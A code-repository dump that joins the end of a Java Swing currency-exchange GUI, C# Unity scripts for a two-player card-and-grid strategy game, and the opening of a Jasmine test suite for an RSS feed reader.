lblAmount.setBounds(10, 83, 143, 20);
}
return lblAmount;
}
private JTextField getTextFieldAmount() {
if (textFieldAmount == null) {
textFieldAmount = new JTextField();
textFieldAmount.setBounds(10, 114, 150, 20);
textFieldAmount.setColumns(10);
}
return textFieldAmount;
}
private JLabel getLblTransactionType() {
if (lblTransactionType == null) {
lblTransactionType = new JLabel("Transaction type");
lblTransactionType.setBounds(268, 83, 150, 20);
}
return lblTransactionType;
}
private JRadioButton getRdbtnPurchase() {
if (rdbtnPurchase == null) {
rdbtnPurchase = new JRadioButton("Purchase");
rdbtnPurchase.setActionCommand("Purchase");
buttonGroup.add(rdbtnPurchase);
rdbtnPurchase.setBounds(268, 114, 150, 20);
}
return rdbtnPurchase;
}
private JRadioButton getRdbtnSale() {
if (rdbtnSale == null) {
rdbtnSale = new JRadioButton("Sale");
rdbtnSale.setActionCommand("Sale");
buttonGroup.add(rdbtnSale);
rdbtnSale.setBounds(268, 137, 150, 20);
}
return rdbtnSale;
}
private JSlider getSliderAmount() {
if (sliderAmount == null) {
sliderAmount = new JSlider();
sliderAmount.addChangeListener(new ChangeListener() {
public void stateChanged(ChangeEvent arg0) {
textFieldAmount.setText(Integer.toString(sliderAmount.getValue()));
}
});
sliderAmount.setMinorTickSpacing(5);
sliderAmount.setPaintLabels(true);
sliderAmount.setMajorTickSpacing(10);
sliderAmount.setPaintTicks(true);
sliderAmount.setBounds(10, 164, 474, 50);
textFieldAmount.setText(Integer.toString(sliderAmount.getValue()));
}
return sliderAmount;
}
private JComboBox<String> getComboBox() {
if (comboBox == null) {
comboBox = new JComboBox<String>();
comboBox.setBounds(170, 42, 150, 20);
comboBox.setModel(new DefaultComboBoxModel<String>(new String[] { "EUR", "USD", "CHF" }));
}
return comboBox;
}
private JButton getBtnExecuteExchange() {
if (btnExecuteExchange == null) {
btnExecuteExchange = new JButton("Execute exchange");
btnExecuteExchange.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
GUIController.showRateInStatusBar(buttonGroup.getSelection().getActionCommand() + " "
+ textFieldAmount.getText() + " " + (String) comboBox.getSelectedItem() + ".");
}
});
btnExecuteExchange.setBounds(10, 230, 150, 30);
}
return btnExecuteExchange;
}
private JButton getBtnCancel() {
if (btnCancel == null) {
btnCancel = new JButton("Cancel");
btnCancel.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
dispose();
}
});
btnCancel.setBounds(334, 230, 150, 30);
}
return btnCancel;
}
}
<file_sep>/README.md
# exchange-office-gui | 4d944f55bbbc2f57f26d19757e697ac16f5ddbf1 | [
"Markdown",
"Java"
] | 4 | Java | davidoviclazar/exchange-office-gui | a1dd219615ef2b0c63a3b6275b3160e82b5d2498 | c400e52b783d98545829f3f01a14379a5504bcc2 |
refs/heads/master | <file_sep>using UnityEngine;
using System.Collections;
public class MoveCard2 : Card {
public int movementPerActionPoint =5;
// Use this for initialization
void Start () {
cost = 100;
actionPoint = 1;
property = PCard.MOVE2;
}
void Update () {
//OnMouseDown ();
}
// Update is called once per frame
public override void CardAction()
{
Debug.Log("you click the move 2 Card = (" + gridPosition + ")");
GameManager.instance.removeTileHighlights();
//UserPlayer.moving= true;
//UserPlayer.attacking =false;
GameManager.instance.highlightTileAt(GameManager.instance.players[GameManager.instance.currentPlayerIndex].gridPosition, Color.blue, movementPerActionPoint);
if(Input.GetKeyDown (KeyCode.Escape))
{
GameManager.instance.removeTileHighlights();
}
}
}
<file_sep>using UnityEngine;
using System.Collections;
using System.Collections.Generic;
public class CardManager : MonoBehaviour {
public static CardManager instance;
//카메라.
public GameObject player1Camera;
public GameObject player2Camera;
//카드 프리팹.
public GameObject Move1;
public GameObject Move2;
public GameObject SDAttack;
public GameObject LDAttack;
public GameObject Defense;
public GameObject Critical;
public GameObject Special;
public int deckSize = 40;
public int cardSize = 5;
public int nextCard =2;
public int currentSize = 0;
//카드 객체 생성.
MoveCard1 cMove1 = new MoveCard1 ();
MoveCard2 cMove2 = new MoveCard2 ();
SDAttackCard cSDAttack = new SDAttackCard ();
LDAttackCard cLDAtack = new LDAttackCard ();
CriticalCard cCritical = new CriticalCard ();
DefenseCard cDefense = new DefenseCard ();
GameObject gCard;
public int currentCardIndex = 0;
public Card.PCard cProperty ;
public List<Card> handCard = new List<Card> ();
// Use this for initialization
void Awake()
{
instance = this;
}
void Start () {
}
// Update is called once per frame
void Update () {
}
//손에 있는 카드생성 5장이 될때 까지 반복
public void generateHandCard(int player)
{
string cardName;
GameManager.instance.players [player].AddtheDeck ();
GameManager.instance.players [player].ShuffleDeck ();
//Game_Manager.instance.players [1].AddtheDeck ();
//Game_Manager.instance.players [1].ShuffleDeck ();
handCard = new List<Card> ();
//for (int h = 0; h<5; h++) {
for (int i = 0; i< cardSize; i++)
{
cardName = GameManager.instance.players [0].sDeck.Pop ();
switch (cardName)
{
case "Move1":
gCard = Move1;
break;
case "Move2":
gCard = Move2;
break;
case "SDAttack":
gCard = SDAttack;
break;
case "LDAttack":
gCard = LDAttack;
break;
case "Critical":
gCard = Critical;
break;
case "Defense":
gCard = Defense;
break;
}
generateCard(gCard, i, player);
currentSize++;
}
}
/*
if(cardName == "Move1")
{
Card card = ((GameObject)Instantiate (Move1, new Vector3 (v3Pos.x + i - Mathf.Floor (cardSize / 2), v3Pos.y, v3Pos.z), Quaternion.Euler (new Vector3 (230, 0, 180)))).GetComponent<Card> ();
card.gridPosition = new Vector2 (i, 0);
card.cardNumIndex = i;
handCard.Add (card);
}
*/
//카드를 화면에 생성하고 카메라에 붙인다.
public void generateCard( GameObject cardObject, int i, int player)
{
//+(i*120
Vector3 v3Pos = new Vector3(Screen.width/10, Screen.height/10, 5.5f);
if (GameManager.instance.currentPlayerIndex == 0)
{
v3Pos = InputManager.instance.player1Camera.ScreenToWorldPoint(v3Pos);
}
else if (GameManager.instance.currentPlayerIndex == 1)
{
v3Pos = InputManager.instance.player2Camera.ScreenToWorldPoint(v3Pos);
}
else
{
v3Pos = Camera.main.ScreenToWorldPoint(v3Pos);
}
//v3Pos = Camera.main.ScreenToWorldPoint (v3Pos);
v3Pos = v3Pos +new Vector3(i * 1, 0, 0);
Debug.Log(Screen.width+ " , " + Screen.height);
Card card = ((GameObject)Instantiate (cardObject ,new Vector3 (0, 0, 0), Quaternion.Euler (new Vector3 (230, 0, 180)))).GetComponent<Card> ();
if (player == 0)
{
card.transform.parent = player1Camera.transform;
// player1Cameras.transform
}
else if (player == 1)
{
card.transform.parent = player2Camera.transform;
}
//Card card = ((GameObject)Instantiate (cardObject, new Vector3 (v3Pos.x + i - Mathf.Floor (cardSize / 2) + posx, v3Pos.y, v3Pos.z), Quaternion.Euler (new Vector3 (230, 0, 180)))).GetComponent<Card> ();
//card = transform.position (10, 10, 10);
card.transform.position = v3Pos;
card.gridPosition = new Vector2 (i, 0);
card.cardNumIndex = i;
//card.transform.parent = _camera.transform;
handCard.Add (card);
//_camera.
}
public void nextTurn(int y)
{
string cardName;
//Game_Manager.instance.players [y].AddtheDeck ();
//Game_Manager.instance.players [y].ShuffleDeck ();
//Game_Manager.instance.players [1].AddtheDeck ();
//Game_Manager.instance.players [1].ShuffleDeck ();
//if (y == 1)
// y = Screen.height - v3Pos;
//v3Pos = Camera.main.ScreenToWorldPoint (v3Pos);
//v3Pos.x = v3Pos.x - 2.3f;
//v3Pos.y = v3Pos.y - 2.374634f;
//v3Pos.z = v3Pos.z + 4.61132f;
handCard = new List<Card> ();
//for (int h = 0; h<5; h++) {
for (int i = 0; i< nextCard; i++)
{
cardName = GameManager.instance.players [0].sDeck.Pop ();
switch (cardName)
{
case "Move1":
gCard = Move1;
break;
case "Move2":
gCard = Move2;
break;
case "SDAttack":
gCard = SDAttack;
break;
case "LDAttack":
gCard = LDAttack;
break;
case "Critical":
gCard = Critical;
break;
case "Defense":
gCard = Defense;
break;
currentSize++;
}
generateCard(gCard, currentSize, y);
}
}
public void cardAction(string cardName)
{
switch (cardName)
{
case "Move1":
// Debug.Log(InputManager.instance.target.GetComponent<MoveCard1>().cardNumIndex);
cProperty = Card.PCard.MOVE1;
cMove1.CardAction();
Debug.Log( cMove1.cardNumIndex);
break;
case "Move2":
cProperty = Card.PCard.MOVE2;
cMove2.CardAction ();
break;
case "SDAttack":
cProperty = Card.PCard.SD_ATTACK;
cSDAttack.CardAction ();
break;
case "LDAttack":
cProperty = Card.PCard.LD_ATTACK;
cLDAtack.CardAction();
break;
case "Critical":
cProperty = Card.PCard.CRITICAL;
cCritical.CardAction();
break;
case "Defense":
cProperty = Card.PCard.DEFENSE;
cDefense.CardAction();
break;
}
}
}
<file_sep>using UnityEngine;
using System.Collections;
public class CriticalCard : Card {
public int attackRange = 1;
// Use this for initialization
void Start () {
cost = 100;
actionPoint = 2;
property = PCard.SD_ATTACK;
}
// Update is called once per frame
void Update () {
//OnMouseDown ();
}
public override void CardAction()
{
Debug.Log("you click the CriticalCard = (" + gridPosition + ")");
GameManager.instance.removeTileHighlights();
GameManager.instance.highlightTileAt(GameManager.instance.players[GameManager.instance.currentPlayerIndex].gridPosition, Color.red, attackRange);
}
}
<file_sep>using UnityEngine;
using System.Collections;
public class SDAttackCard :Card {
//public new int cardCost = 100;
//public new int cardAction = 1;
//public new PCard cardProperty = PCard.SD_ATTACK;
public int attackRange = 2;
//public new int cost = 100;
//public new int actionPoint = 1;
//public new PCard property = PCard.SD_ATTACK;
// Use this for initialization
void Start () {
cost = 100;
actionPoint = 1;
property = PCard.SD_ATTACK;
}
// Update is called once per frame
void Update () {
//OnMouseDown ();
}
public override void CardAction()
{
Debug.Log("you click the SDAttack 1 Card = (" + gridPosition + ")");
GameManager.instance.removeTileHighlights();
GameManager.instance.highlightTileAt(GameManager.instance.players[GameManager.instance.currentPlayerIndex].gridPosition, Color.red, attackRange);
}
}
<file_sep>using UnityEngine;
using System.Collections;
using System.Collections.Generic;
public class Player : MonoBehaviour {
public Vector2 gridPosition = Vector2.zero;
public Vector3 moveDestination;
public float moveSpeed = 10.0f;
//public int movementPerActionPoint = 5;
//public int attackRange = 1;
//public bool moving = false;
//public bool attacking = false;
//캐릭터 스테이터스.
public string playerName = "Geoge";
public int HP = 50;
public float attackChance = 0.75f;
public float defenseReduction = 0.15f;
public int damageBase = 5;
public float damageRollSides = 6;
public int actionPoints = 2;
//카드 정보.
public List<string> deck = new List<string>();
public Stack<string> sDeck = new Stack<string>();
void Awake()
{
moveDestination = transform.position;
}
// Use this for initialization
void Start () {
}
// Update is called once per frame
void Update () {
}
public virtual void TurnUpdate()
{
if (actionPoints <= 0) {
actionPoints =2;
//moving = false;
//attacking = false;
GameManager.instance.nextTurn();
}
}
public virtual void TurnOnGUI()
{
}
public void AddtheDeck()
{
for (int i =0; i<= 40; i++)
{
if(i<=8)
{ deck.Add ("Move1");}
else if(i <= 13)
{ deck.Add ("Move2"); }
else if(i<= 21)
{ deck.Add ("SDAttack"); }
else if(i<= 26)
{ deck.Add ("LDAttack"); }
else if(i<= 34)
{ deck.Add ("Critical"); }
else if(i<= 40)
{ deck.Add ("Defense"); }
}
}
public void ShuffleDeck()
{
for (int i = 0; i<deck.Count; i++)
{
string temp = deck[i];
int randomIndex = Random.Range(i, deck.Count);
deck[i] = deck[randomIndex];
deck[randomIndex] = temp;
//Debug.Log( randomIndex + "번째는" + i +"번째에 넣는다.");
}
for (int i = 0; i<deck.Count; i++) {
sDeck.Push(deck[i]);
}
}
/*
*/
}
<file_sep>using UnityEngine;
using System.Collections;
using System.Collections.Generic;
public class MoveCard1 : Card {
//UserPlayer player;
public int movementPerActionPoint = 3;
// Use this for initialization
//public new int cost = 100;
//public new int actionPoint = 1;
//public new PCard property = PCard.MOVE1;
public
void Start () {
cost = 100;
actionPoint = 1;
property = PCard.MOVE1;
}
// Update is called once per frame
void Update () {
//Debug.Log ("moveCard update");
//OnMouseDown ();
}
public override void CardAction()
{
Debug.Log("you click the move 1 Card = (" + gridPosition + ")");
GameManager.instance.removeTileHighlights();
GameManager.instance.highlightTileAt(GameManager.instance.players[GameManager.instance.currentPlayerIndex].gridPosition, Color.blue, movementPerActionPoint);
if(Input.GetKeyDown (KeyCode.Escape))
{
GameManager.instance.removeTileHighlights();
}
}
}
<file_sep>using UnityEngine;
using System.Collections;
public class Move : MonoBehaviour {
public float speed = 2.0f;
public GameObject player;
private Vector3 target;
// Use this for initialization
void Start () {
target = transform.position;
//player.transform.position.x = 0.5f;
//player.transform.position.y = 0.5f;
//player.transform.position.z = -4.5f;
}
// Update is called once per frame
void Update () {
if (Input.GetMouseButtonDown (0)) {
//target = Camera.main.ScreenToWorldPoint(Input.mousePosition);
//target.z = transform.position.z;
//target.x = transform.position.x;
target.x = Input.mousePosition.x;
target.y = Input.mousePosition.y;
}
//transform.position = Vector3.MoveTowards (transform.position, target, speed*Time.deltaTime
// );
//player.transform.position = Vector3.MoveTowards (transform.position, target, speed*Time.deltaTime);
transform.position = target;
}
}
<file_sep>using UnityEngine;
using System.Collections;
public class DefenseCard : Card {
// Use this for initialization
void Start () {
}
// Update is called once per frame
void Update () {
//OnMouseDown ();
}
public override void CardAction()
{
Debug.Log("you click the CriticalCard = (" + gridPosition + ")");
//Game_Manager.instance.removeTileHighlights();
//Game_Manager.instance.highlightTileAt(Game_Manager.instance.players[Game_Manager.instance.currentPlayerIndex].gridPosition, Color.red, attackRange);
Destroy(CardManager.instance.handCard[CardManager.instance.currentCardIndex].gameObject);
}
}
<file_sep>using UnityEngine;
using System.Collections;
using System.Collections.Generic;
public class GameManager : MonoBehaviour {
public static GameManager instance;
//타일 프리팹.
public GameObject TilePrefabs;
//플레이어 프리팹.
public GameObject UserPlayerPrefab;
public GameObject AIPlayerPrefab;
//카드프리팹.
public GameObject CardPrefab;
//스킬 토큰.
public GameObject SkillToken;
public int mapSize = 10;
public int deckSize = 40;
public int cardSize = 5;
public List<List<Tile>> map = new List<List<Tile>>();
public List<Card> handCard = new List<Card> ();
public List<Player> players = new List<Player>();
public int currentPlayerIndex = 0;
public int currentCardIndex = 0;
//test the Screen world Position;
//public Transform target;
Vector3 v3Pos = new Vector3(0, 0, 0);
//v3Pos = Camera.main.ViewportToWorldPoint(v3Pos);
void Awake()
{
instance = this;
}
// Use this for initialization
void Start () {
generateMap ();
Debug.Log ("Generate Map!!" + mapSize);
generatePlayer ();
Debug.Log ("Generate Players!!");
//플레이어1 카드생성
CardManager.instance.generateHandCard(0);
//플레이어2 카드생성
CardManager.instance.generateHandCard(1);
genrateSkillToken ();
CardManager.instance.player2Camera.camera.enabled = false;
CardManager.instance.player2Camera.transform.active = false;
//generateHandCard ();
//Debug.Log ("Generate HandCrad!!" + cardSize);
//AudioSource.PlayClipAtPoint( );
}
// Update is called once per frame
void Update () {
if (players [currentPlayerIndex].HP > 0)
players [currentPlayerIndex].TurnUpdate ();
//players [currentPlayerIndex].TurnUpdate ();
else {
nextTurn ();
}
//test the Screen world Position;
//Vector3 screenPos = camera.WorldToScreenPoint(target.position);
//print("target is " + screenPos.x + " pixels from the left");
}
void OnGUI(){
if (players [currentPlayerIndex].HP > 0) {
players [currentPlayerIndex].TurnOnGUI ();
}
}
/*
void RandomCard()
{
for(int i =1; i <= 50; i++)
{
//int cardNum= rand.Next(50, 0)
}
}*/
public void highlightTileAt(Vector2 originLocation, Color highlightColor, int distance){
List<Tile> highlightedTiles = TileHighlight.FindHighlight (map [(int)originLocation.x] [(int)originLocation.y], distance);
foreach (Tile t in highlightedTiles) {
t.transform.renderer.material.color = highlightColor;
}
}
public void removeTileHighlights()
{
for (int i = 0; i < mapSize; i++) {
for(int j = 0; j<mapSize; j++){
map[i][j].transform.renderer.material.color = Color.white;
}
}
}
public void nextTurn()
{
if (currentPlayerIndex + 1 < players.Count)
{
currentPlayerIndex++;
CardManager.instance.player2Camera.camera.enabled = true;
CardManager.instance.player2Camera.transform.active = true;
CardManager.instance.player1Camera.camera.enabled = false;
CardManager.instance.player1Camera.transform.active = false;
}
else
{
currentPlayerIndex = 0;
CardManager.instance.player1Camera.camera.enabled = true;
CardManager.instance.player1Camera.transform.active = true;
CardManager.instance.player2Camera.camera.enabled = false;
CardManager.instance.player2Camera.transform.active = false;
}
}
public void moveCurrentPlayer(Tile destTile)
{
if (destTile.transform.renderer.material.color != Color.white) {
removeTileHighlights ();
//players [currentPlayerIndex].moving = false;
players [currentPlayerIndex].gridPosition = destTile.gridPosition;
players [currentPlayerIndex].moveDestination = destTile.transform.position + 0.5f * Vector3.up;
} else {
Debug.Log("destination invalid");
}
}
public void attackWithCurrentPlayer(Tile destTile)
{
Player target = null;
foreach (Player p in players) {
if(p.gridPosition == destTile.gridPosition)
{
target = p;
}
}
if (target != null) {
if (players [currentPlayerIndex].gridPosition.x >= target.gridPosition.x + 1 &&
players [currentPlayerIndex].gridPosition.y <= target.gridPosition.y + 1)
{
players [currentPlayerIndex].actionPoints--;
bool hit = Random.Range (0.0f, 1.0f) <= players [currentPlayerIndex].attackChance;
if (hit)
{
int amountOfDamage = (int)Mathf.Floor (players [currentPlayerIndex].damageBase + Random.Range (0, players [currentPlayerIndex].damageRollSides));
target.HP -= amountOfDamage;
Debug.Log (players [currentPlayerIndex].playerName + "succesfuly hit" + target.playerName + "for" + amountOfDamage + "Damage!");
} else {
Debug.Log (players [currentPlayerIndex].playerName + "missed" + target.playerName + "!");
}
}
else
{
Debug.Log ("Target is not adjacent!");
}
}
else
{
Debug.Log("destination invalid");
}
}
void generateMap()
{
map = new List<List<Tile>> ();
for (int i = 0; i < mapSize; i++) {
List<Tile> row = new List<Tile>();
for(int j = 0; j< mapSize; j++){
Tile tile = ((GameObject)Instantiate(TilePrefabs, new Vector3( i- Mathf.Floor(mapSize/2),0, -j + Mathf.Floor(mapSize/2)), Quaternion.Euler(new Vector3()))).GetComponent<Tile>();
tile.gridPosition = new Vector2(i,j);
row.Add(tile);
}
map.Add(row);
}
}
/*
void generateHandCard()
{
v3Pos = Camera.main.ScreenToWorldPoint (v3Pos);
v3Pos.x = v3Pos.x - 2.3f;
v3Pos.y = v3Pos.y - 2.374634f;
v3Pos.z = v3Pos.z + 4.61132f;
string cardName;
players [0].AddtheDeck ();
players [0].ShuffleDeck ();
players [1].AddtheDeck ();
players [1].ShuffleDeck ();
handCard = new List<Card> ();
//for (int h = 0; h<5; h++) {
for (int i = 0; i< cardSize; i++)
{
cardName = players[0].sDeck.Pop();
if(cardName == "Move1")
{
Card card = ((GameObject)Instantiate (Move1, new Vector3 (v3Pos.x + i - Mathf.Floor (cardSize / 2), v3Pos.y, v3Pos.z), Quaternion.Euler (new Vector3 (230, 0, 180)))).GetComponent<Card> ();
card.gridPosition = new Vector2 (i, 0);
card.cardNumIndex = i;
handCard.Add (card);
}
if(cardName == "Move2")
{
Card card = ((GameObject)Instantiate (Move2, new Vector3 (v3Pos.x + i - Mathf.Floor (cardSize / 2), v3Pos.y, v3Pos.z), Quaternion.Euler (new Vector3 (230, 0, 180)))).GetComponent<Card> ();
card.gridPosition = new Vector2 (i, 0);
card.cardNumIndex = i;
handCard.Add (card);
}
if(cardName == "SDAttack")
{
Card card = ((GameObject)Instantiate (SDAttack, new Vector3 (v3Pos.x + i - Mathf.Floor (cardSize / 2), v3Pos.y, v3Pos.z), Quaternion.Euler (new Vector3 (230, 0, 180)))).GetComponent<Card> ();
card.gridPosition = new Vector2 (i, 0);
card.cardNumIndex = i;
handCard.Add (card);
}
if(cardName = "MDAttack")
{
Card card = ((GameObject)Instantiate (SDAttack, new Vector3 (v3Pos.x + i - Mathf.Floor (cardSize / 2), v3Pos.y, v3Pos.z), Quaternion.Euler (new Vector3 (230, 0, 180)))).GetComponent<Card> ();
card.gridPosition = new Vector2 (i, 0);
card.cardNumIndex = i;
handCard.Add (card);
}
if(cardName == "LDAttack")
{
Card card = ((GameObject)Instantiate (LDAttack, new Vector3 (v3Pos.x + i - Mathf.Floor (cardSize / 2), v3Pos.y, v3Pos.z), Quaternion.Euler (new Vector3 (230, 0, 180)))).GetComponent<Card> ();
card.gridPosition = new Vector2 (i, 0);
card.cardNumIndex = i;
handCard.Add (card);
}
if(cardName == "Critical")
{
Card card = ((GameObject)Instantiate (Critical, new Vector3 (v3Pos.x + i - Mathf.Floor (cardSize / 2), v3Pos.y, v3Pos.z), Quaternion.Euler (new Vector3 (230, 0, 180)))).GetComponent<Card> ();
card.gridPosition = new Vector2 (i, 0);
card.cardNumIndex = i;
handCard.Add (card);
}
if(cardName == "Defense")
{
Card card = ((GameObject)Instantiate (Defense, new Vector3 (v3Pos.x + i - Mathf.Floor (cardSize / 2), v3Pos.y, v3Pos.z), Quaternion.Euler (new Vector3 (230, 0, 180)))).GetComponent<Card> ();
card.gridPosition = new Vector2 (i, 0);
card.cardNumIndex = i;
handCard.Add (card);
}
//Card card = ((GameObject)Instantiate(CardPrefab, new Vector3( i-Mathf.Floor(cardSize/2), 5.5f, 0), Quaternion.Euler(new Vector3(30, 0)))).GetComponent<Card>();
/*
Card card = ((GameObject)Instantiate (CardPrefab, new Vector3 (v3Pos.x + i - Mathf.Floor (cardSize / 2), v3Pos.y, v3Pos.z), Quaternion.Euler (new Vector3 (230, 0, 180)))).GetComponent<Card> ();
card.gridPosition = new Vector2 (i, 0);
card.cardNumIndex = i;
handCard.Add (card);
//Camera.main.ScreenToWorldPoint(transform
}
//}
}
*/
/*
void RandomCard()
{
}
void ExportCard()
{
}
void ExitTurn()
{
}
*/
void generatePlayer()
{
UserPlayer player;
player = ((GameObject)Instantiate (UserPlayerPrefab, new Vector3 ((mapSize-5) - Mathf.Floor (mapSize / 2), 0.5f, -(mapSize-1) + Mathf.Floor (mapSize / 2)), Quaternion.Euler (new Vector3 ()))).GetComponent<UserPlayer> ();
//player.gridPosition = new Vector2 (5, 9);
player.gridPosition = new Vector2 (15, 19);
player.playerName = "duel";
//player.AddtheDeck ();
//player.ShuffleDeck ();
players.Add (player);
//player = ((GameObject)Instantiate (UserPlayerPrefab, new Vector3 ((mapSize-5) - Mathf.Floor (mapSize / 2), 0.5f, -(mapSize-1) + Mathf.Floor (mapSize / 2)), Quaternion.Euler (new Vector3 ()))).GetComponent<UserPlayer> ();
//players.Add (player);
player = ((GameObject)Instantiate(UserPlayerPrefab, new Vector3(4 - Mathf.Floor(mapSize/2),0.5f, -4 + Mathf.Floor(mapSize/2)), Quaternion.Euler(new Vector3()))).GetComponent<UserPlayer>();
player.gridPosition = new Vector2(4,4);
player.playerName = "Lars";
//player.AddtheDeck ();
//player.ShuffleDeck ();
players.Add (player);
//AIPlayer aiplayer = ((GameObject)Instantiate (AIPlayerPrefab, new Vector3 (5 - Mathf.Floor (mapSize / 2), 0.5f, -0 + Mathf.Floor (mapSize / 2)), Quaternion.Euler (new Vector3 ()))).GetComponent<AIPlayer> ();
//aiplayer.gridPosition = new Vector2 (5, 0);
//aiplayer.playerName = "Black";
//players.Add (aiplayer);
}
void genrateSkillToken ()
{
}
}
<file_sep>using UnityEngine;
using System.Collections;
using System.Collections.Generic;
public class UserPlayer : Player {
// Use this for initialization
void Start () {
}
// Update is called once per frame
void Update () {
//if (GameManager.instance.players [GameManager.instance.currentPlayerIndex] == this) {
if(GameManager.instance.players[GameManager.instance.currentPlayerIndex] == this){
transform.renderer.material.color = Color.green;
} else {
transform.renderer.material.color = Color.white;
}
if (HP <= 0) {
transform.rotation = Quaternion.Euler(new Vector3 (90,0,0));
transform.renderer.material.color = Color.red;
}
}
public override void TurnUpdate()
{
if (Vector3.Distance (moveDestination, transform.position) > 0.1f) {
transform.position += (moveDestination - transform.position).normalized * moveSpeed * Time.deltaTime;
if(Vector3.Distance(moveDestination, transform.position) <= 0.1f){
transform.position = moveDestination;
//Game_Manager.instance.nextTurn();
actionPoints--;
}
}
base.TurnUpdate ();
}
public override void TurnOnGUI(){
float buttonHeight =30;
float buttonWidth = 120;
Rect buttonRect = new Rect(0, Screen.height - buttonHeight * 3, buttonWidth, buttonHeight);
/*
if(GUI.Button(buttonRect, "Move"))
{
if(!moving)
{
GameManager.instance.removeTileHighlights();
moving = true;
attacking = false;
GameManager.instance.highlightTileAt(gridPosition, Color.blue, movementPerActionPoint);
}
else {
//moving = false;
attacking = false;
GameManager.instance.removeTileHighlights();
}
}
*/
/*
buttonRect = new Rect(0, Screen.height - buttonHeight * 2, buttonWidth, buttonHeight);
if(GUI.Button(buttonRect, "Attack"))
{
if(!attacking)
{
GameManager.instance.removeTileHighlights();
//moving = false;
attacking =true;
GameManager.instance.highlightTileAt(gridPosition, Color.red, attackRange);
}
else{
//moving = false;
attacking = false;
GameManager.instance.removeTileHighlights();
}
}
*/
buttonRect = new Rect(0, Screen.height - buttonHeight * 1, buttonWidth, buttonHeight);
if(GUI.Button(buttonRect, "End Turn"))
{
GameManager.instance.removeTileHighlights();
actionPoints =2;
//moving =false;
//attacking = false;
CardManager.instance.nextTurn(GameManager.instance.currentPlayerIndex);
GameManager.instance.nextTurn();
}
base.TurnOnGUI();
}
}<file_sep>using UnityEngine;
using System.Collections;
using System.Collections.Generic;
public class Card : MonoBehaviour {
public enum PCard { MOVE1,
MOVE2,
MOVE3,
SD_ATTACK,
MD_ATTACK,
LD_ATTACK,
CRITICAL,
DEFENSE,
SPECIAL
};
public int cardNumIndex = 0;
//hand위치.
public Vector2 gridPosition = Vector2.zero;
//비용.
public int cost;
//소비 액션 포인트.
public int actionPoint;
//카드 속성.
public PCard property;
//Raycast
//public enum
// Use this for initialization
void Start () {
}
// Update is called once per frame
void Update () {
}
/*
public void MouseDown()
{
if (Input.GetMouseButton (0))
{
RaycastHit hit;
Ray ray = Camera.main.ScreenPointToRay (Input.mousePosition);
Vector3 mouseclick = Input.mousePosition;
Debug.Log( "마우스 위치" + mouseclick.x + "," + mouseclick.y +"," + mouseclick.z);
if (Physics.Raycast (ray.origin, ray.direction, out hit, 10))
{
Transform objecthit = hit.transform;
Debug.Log ("hit");
if (hit.transform.gameObject.tag == "CARD")
//if(gameObject.CompareTag("CARD"))
{
Debug.Log ("Click The Card!!");
//CardManager.instance.ActionSelect(property);
CardAction();
Game_Manager.instance.currentCardIndex = cardNumIndex;
//Game_Manager.instance.handCard[Game_Manager.instance.cardSize]
}
}
}
}*/
public virtual void CardAction()
{
}
}
<file_sep>using UnityEngine;
using System.Collections;
public class InputManager : MonoBehaviour {
public static InputManager instance;
public Camera player1Camera;
public Camera player2Camera;
public Transform target = null;
void Awake()
{
instance = this;
}
void Update()
{
MouseDown();
}
public void MouseDown()
{
if (Input.GetMouseButton (0))
{
RaycastHit hit;
// Ray ray = Camera.main.ScreenPointToRay (Input.mousePosition);
Ray ray;
if (GameManager.instance.currentPlayerIndex == 0)
{
ray = player1Camera.ScreenPointToRay(Input.mousePosition);
}
else if (GameManager.instance.currentPlayerIndex == 1)
{
ray = player2Camera.ScreenPointToRay(Input.mousePosition);
}
else
{
ray = Camera.main.ScreenPointToRay(Input.mousePosition);
}
Vector3 mouseclick = Input.mousePosition;
//Debug.Log( "마우스 위치" + mouseclick.x + "," + mouseclick.y +"," + mouseclick.z);
if (Physics.Raycast (ray.origin, ray.direction, out hit, 10))
{
Transform objecthit = hit.transform;
Debug.Log ("hit");
if (hit.transform.gameObject.tag== "CARD")
{
target = hit.transform;
// Debug.Log(target.GetComponent<MoveCard1>().cardNumIndex);
//Debug.Log ("Click The Card!!" + hit.transform.gameObject.name);
CardManager.instance.cardAction(hit.transform.gameObject.name);
}
}
}
}
public void KeyDown()
{
}
}
| 566dc8f64a9fb17d16626a2ad480349ef6dedd5f | [
"C#"
] | 12 | C# | BlueDevil63/CardGame | 72a9c8ea2dab4be1b43c1fb5b4f7bbfd3095324c | bc8415a1c086e2eb360ad8eafa27f1487d529e6b |
refs/heads/master | <repo_name>moisescualexandru/frontend-nanodegree-feedreader<file_sep>/jasmine/spec/feedreader.js
/* feedreader.js
*
* This is the spec file that Jasmine will read and contains
* all of the tests that will be run against the application.
*/
/* We're placing all of our tests within the $() function,
* since some of these tests may require DOM elements.
*/
$(function() {
/* Test suite named "RSS Feeds" */
describe('RSS Feeds', function() {
/* This test to makes sure that the
* allFeeds variable has been defined and that it is not
* empty.
*/
it('are defined', function() {
expect(allFeeds).toBeDefined();
expect(allFeeds.length).not.toBe(0);
});
/* This test loops through each feed
* in the allFeeds object and ensures it has a URL defined
* and that the URL is not empty.
*/
it('URL exist', function() {
for (obj of allFeeds) {
expect(obj.url).toBeDefined();
expect(obj.url.length).not.toBe(0);
}
});
/* This test loops through each feed
* in the allFeeds object and ensures it has a name defined
* and that the name is not empty.
*/
it('name exists', function() {
for (obj of allFeeds) {
expect(obj.name).toBeDefined();
expect(obj.name.length).not.toBe(0);
}
})
});
/* Test suite named "The menu" */
describe('The menu', function() {
/* This test ensures the menu element is
* hidden by default.
*/
it('menu hidden by default', function() {
expect($('body').hasClass('menu-hidden')).toBe(true);
});
/* This test ensures the menu changes
* visibility when the menu icon is clicked.
*/
it('menu reacting to clicks', function() {
var menuButton = $('.icon-list');
menuButton.click();
expect($('body').hasClass('menu-hidden')).toBe(false);
menuButton.click();
expect($('body').hasClass('menu-hidden')).toBe(true);
});
});
/*Test suite named "Initial Entries" */
describe ('Initial Entries', function() {
var container = $('.feed');
beforeEach (function(done) {
loadFeed(0, function() {
done();
});
});
/* This test ensures when the loadFeed
* function is called and completes its work, there is at least
* a single .entry element within the .feed container.
*/
it('feed should have at least an entry', function(done) {
expect($('.feed .entry-link').length).toBeGreaterThan(0);
done();
});
});
/* Test suite named "New Feed Selection" */
describe('New Feed Selection', function() {
var container = $('.feed'),
initialFeed, // counter that stores the first loaded feed
secondFeed; // counter that stores the second loaded feed
/* Loading the first 2 feeds */
beforeEach (function(done) {
loadFeed(0, function() {
initialFeed = container.html();
loadFeed(1, function() {
secondFeed = container.html();
done();
